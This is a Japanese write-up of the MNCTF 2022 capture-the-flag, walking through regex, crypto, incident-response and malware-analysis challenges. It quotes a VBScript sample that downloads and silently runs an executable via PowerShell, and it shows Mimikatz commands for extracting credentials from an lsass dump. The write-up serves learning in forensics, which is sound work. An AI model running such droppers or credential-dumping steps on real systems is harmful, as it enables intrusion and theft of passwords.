MNCTF 2022 Writeup
毎年恒例のマクニカCTFに今年も参加させていただきました。本記事はそのWriteupです。
★これからやる人はネタバレ注意
CTFゲームシステムについて
今年も去年から導入されたダンジョンシステムで、オフィスを歩き回り、NPCに話しかけ、情報を得たり、問題を課せられたりするシステムになっていました。
問題一覧は以下の通りで、ストーリーに沿って進めていく流れになっており、問題を解くと新たな問題に挑戦できるようになっていました。
※以下に記載するWriteupの順序は上記のカード順ではなく、ストーリーに沿った流れで記載します。
正規表現
このサイトの型番からパーツ、製造年、バージョンが抽出できるような正規表現を書き換えよ。
「このサイト」にアクセスすると、以下のページが表示されます。
画像のように文字列を分割するような正規表現のルールを作成する問題のようです。
パッと見たところ、型番はハイフン区切りで3グループに分かれており、1グループ目が英字、2、3グループ目が数字のようなので、以下のように設定してみたところフラグゲットできました。
FLAG:REGEX_M4STER
暗号解読
このファイルはビットマップのファイルをAES-ECBで暗号化したものである。暗号解読して新しい会社名(英語)を答えよ。
※解けなかった問題です。
AES-ECBで暗号化されたビットマップファイルが提供されるので、暗号化前の画像に記載されている文字を読み取る問題です。
大会中は、どうにかして暗号化を復号できないか試行錯誤していました。
想定解としてはビットマップであること、ロゴであること(=背景が白く、その面積が広いこと)を活かして、暗号文を8バイトで区切ってその登場頻度を計算、一番多く登場するのが白、ほかの部分はエッジとみなして画像を再構築する手法を用いるようでした。
参考:https://ja.wikipedia.org/wiki/%E6%9A%97%E5%8F%B7%E5%88%A9%E7%94%A8%E3%83%A2%E3%83%BC%E3%83%89
不審なファイル
このファイルを調査して、被害が拡大していそうな社員のユーザ名を答えてください。 ZIPのパスワードは「infected」です。
ファイルは以下のような内容です。
l=gk t=0 For i=1 to len(l) t=t+asc(mid(l,i,1)) NExt If t = 1935 Then set wsh=CreateObject("WScript.Shell") wsh.Run "powershell wget https://task.mnctf.info/img/logo.jpg -outfile temp.exe",0,true wsh.Run "temp.exe",0,true End If Function gk() Set WshShell=CreateObject("WScript.Shell") Set objExec = WshShell.Exec("wmic path softwareLicensingService get OA3xOriginalProductKey") line = objExec.StdOut.ReadLine() line = objExec.StdOut.ReadLine() gk=trim(replace(line,vbcr,"")) End Function
上記のファイルのほか、ユーザを特定するための情報として、ユーザの端末のリストが提供されます。リストは以下のようにユーザID、SID、端末のOSタイプ、Office導入有無、Windowsのライセンス番号、Officeのライセンス番号が記載されたファイルです。
スクリプトを読み解いていくと、wmic path softwareLicensingService get OA3xOriginalProductKey
という部分がポイントになっており、これはWindows OSで適用されているライセンス番号を取得するコマンドのようです。
そしてライセンス番号の各文字を文字コードにしすべて足し合わせ、その結果が「1935」になるユーザがターゲットになっていることがわかります。
ライセンス番号のリストから、上記の流れの通り1935になるライセンス番号を見つけるスクリプトを作成しました。
lkeys=""" ZK6A6-CNLUY-RXPP1-CQV03-90YHD W41L4-K29MP-HPQQM-OSJ3K-SII00 ASDJZ-A0RN2-QO53N-R5ZJL-VW735 (snip) QSBW7-B0E0W-HD5II-AINGS-N6WZ5 ORM7Y-3ZXV2-3AG1C-2R16E-8LR00 W5CLS-APACX-RGTPR-X3YLB-0W4AF """ for lkey in lkeys.splitlines(): total=0 for lkey_s in list(lkey): total+=ord(lkey_s) if total==1935: print(lkey)
上記のスクリプトを実行すると以下の出力があり、対象のライセンス番号が判明しました。
エクセルのほうで検索し、ユーザを特定しました。
FLAG:toru_akamatsu
自動実行
Autorunの実行結果を調査して、不審なエントリーの「Entry」名を調査してください。
あかまつ君に話しかけると、Autorunsの実行結果を記録したファイルが提供されます。SysinternalsのAutorunsで開いてみます。
参考:https://docs.microsoft.com/ja-jp/sysinternals/
パッと見では色が変わって不信な部分は見つかりませんが、レジストリの自動起動設定(HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run)に不信なImage Pathのエントリが登録されていました。
コマンドラインオプションを見ると、どこかに通信しているような記述で明らかに怪しいですが、これがこの問題の答えでした。
FLAG:SystemUpdater
不審なファイル2
SystemUpdater.exeを調査して、オリジナルのファイル名を答えてください。パスワードは「infected」です。
SystemUpdater.exeが提供されます。このオリジナルのファイル名を調査する問題です。PE形式のファイルを解析できるツールをいくつか使って調査してみましたが、答えはわかりませんでした。
そこで方針を変え、VirusTotalに登録がないか確認してみます。まずは検索するためにハッシュ値を求めます。
VirusTotalでハッシュ値を検索したところ、登録された情報が出てきました。
https://www.virustotal.com/gui/file/1a107c3ece1880cbbdc0a6c0817624b0dd033b02ebaf7fa366306aaca22c103d
その内容によると、どうやらこのファイルは「procdump」というツールのようです。
この問題は上記が答えでした。
FLAG:procdump
パスワード
lsass.zipを調査して、あかまつ君の平文パスワードを答えてください。
前の問題のツールで出力されたとされるlsassプロセスのダンプファイルの解析を行う問題です。
lsassはWindows OSのアカウントの認証情報を管理しているプロセスのことのようです。調べるとこのファイルはMimikatzを使うことでパスワードを取得できるようです。
まずはMimikatzを入手します。手元にKali Linuxがあったので、Kaliの中に保存されているMimikatzモジュールをWindowsに持ってきて利用します。
コマンドプロンプト上で起動後、以下のコマンドを入力することでパスワードのntlmハッシュを入手することができました。
sekurlsa::minidump lsass.DMP sekurlsa::logonpasswords
次に、このntlmハッシュをレインボーテーブルの検索にかけてみます。利用したサイトはCrackStationです。
検索したところ、ヒットがありました。
パスワードは「redredred」だったみたいです。
FLAG:redredred
ステージ4
先の問題でAutorunを確認したところ、不信なサイトへのアクセスが行われているようでした。そのサイトからダウンロードされるファイルのハッシュ値を求める問題です。
URLはわかっているのでダウンロードして、ハッシュ値を求めます。
FLAG:2cc757c960391529c6e10836f87b6c9f5244c7d2901ee2ba7e7b80a1a26cf208
種類
ダウンロードしたファイルのマルウェアタイプを調査する問題です。開いてみるとスクリプトファイルになっており、あるURLへ通信し実行するコマンドを取得、その結果を同じURLに送信する内容になっています。
マルウェアのタイプとしては遠隔操作するプログラムなので、「RAT」(Remote Access Trojan(Tool))を試したところパスしました。
FLAG:RAT
マルウェア
プロセスとそのハッシュのリストから、マルウェアを見つける問題です。ハッシュリストは以下のようなテキストファイルです。
パスからは特定できそうにないと判断し、ハッシュ値を1つ1つVirusTotalに入れて調査していきました。
すると以下のハッシュ値で悪性判定がされておりました。
FLAG:EAE876886F19BA384F55778634A35A1D975414E83F22F6111E3E792F706301FE
最後に
今年も面白い問題が多く、また難易度も絶妙で、あっという間に終了してしまいました(試合時間は2時間)。
インシデントレスポンスのところは、一連の流れでストーリーになっており、関連した問題が続いて楽しめたと思います。
IRの最後の問題を解いたところで以下のやり取りがあり、ちょっとくすっとしました😊
例年目標にしていた全問正答は今年も達成できなかったので、来年は必ず達成したいところです。
(MNCTF対策、出題者対策を万全に挑みたい😊)